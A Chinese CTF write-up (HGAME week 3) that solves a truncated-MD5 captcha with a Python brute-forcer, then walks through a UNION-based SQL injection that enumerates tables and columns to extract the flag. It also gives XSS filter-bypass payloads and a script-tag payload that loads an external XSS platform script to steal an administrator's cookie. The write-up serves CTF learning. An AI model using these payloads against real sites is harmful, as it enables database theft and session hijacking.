week3-wp

wuerror

web

1.sqli-1

首先写个脚本过code

```
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef|| substr(md5($_GET["code"]),0,4) === cc81
keymd5 = '72e6'    #已知的md5截断值
md5start = 0    # 设置题目已知的截断位置
md5length = 4
def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()

def findmd5(sss): # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0]) # 开始位置
    end = int(key[1]) # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[0:4] == keymd5: # 拿到加密字符串
            result = i
            print(result) # 打印
            break

list=[]  # 参数列表
for i in range(10):    # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
```

?code=xxx&id=0 order by 1||2(测出只有一列,而且没有过滤)

?code=xxx&id=0 union select version() (5.7.24-0ubuntu0.18.04.1。应该是mysql 反正我也只看过这个)

?code=xxx&id=0 union select database() (得到数据库名hgame)

?code=xxx&id=0 union select table_name from information_schema.tables where table_schema='hgame'

得到表名

array(1) { ["word"]=> string(9) "f1l1l1l1g" } array(1) { ["word"]=> string(5) "words" }

这个肯定在f1l1l1l1g了

?code=xxx&id=0 union select group_concat(column_name) from information_schema.columns where table_name='f1l1l1l1g' （可以得到列名。此处要使用group_concat函数将它们连接输出，不然会发现没有报错但输出为空）

["word"]=>string(10) "f14444444g"

?code=xxx&id=0 union select group_concat(f14444444g) from f1l1l1l1g 得到flag

2.BabyXss

```
1.<Sc<script>ript>alert(1)</sc</script>riPt>//双写加大小写
2.<iframe onload=alert(/xss/)>
```

用反射型xss验证成功，题目里说到是窃取管理员的cookie。在网上找了个xss平台,遇到的问题是之前把src写在了alert()的位置，还问了出题人有点尴尬。还换了个平台，第一次用的xss.pt，正确写法也收不到就很迷，卡了很久

```
<Sc<script>ript src=xss平台提供的链接></sc</script>riPt>
```

misc

1.听听音乐

audacity打开，在后面没有声音的部分发现了摩尔斯电码。录下来在线翻译得到(有的网站标点符号不能翻译，要手动)ps:mp3stego会发现出题人的恶意：）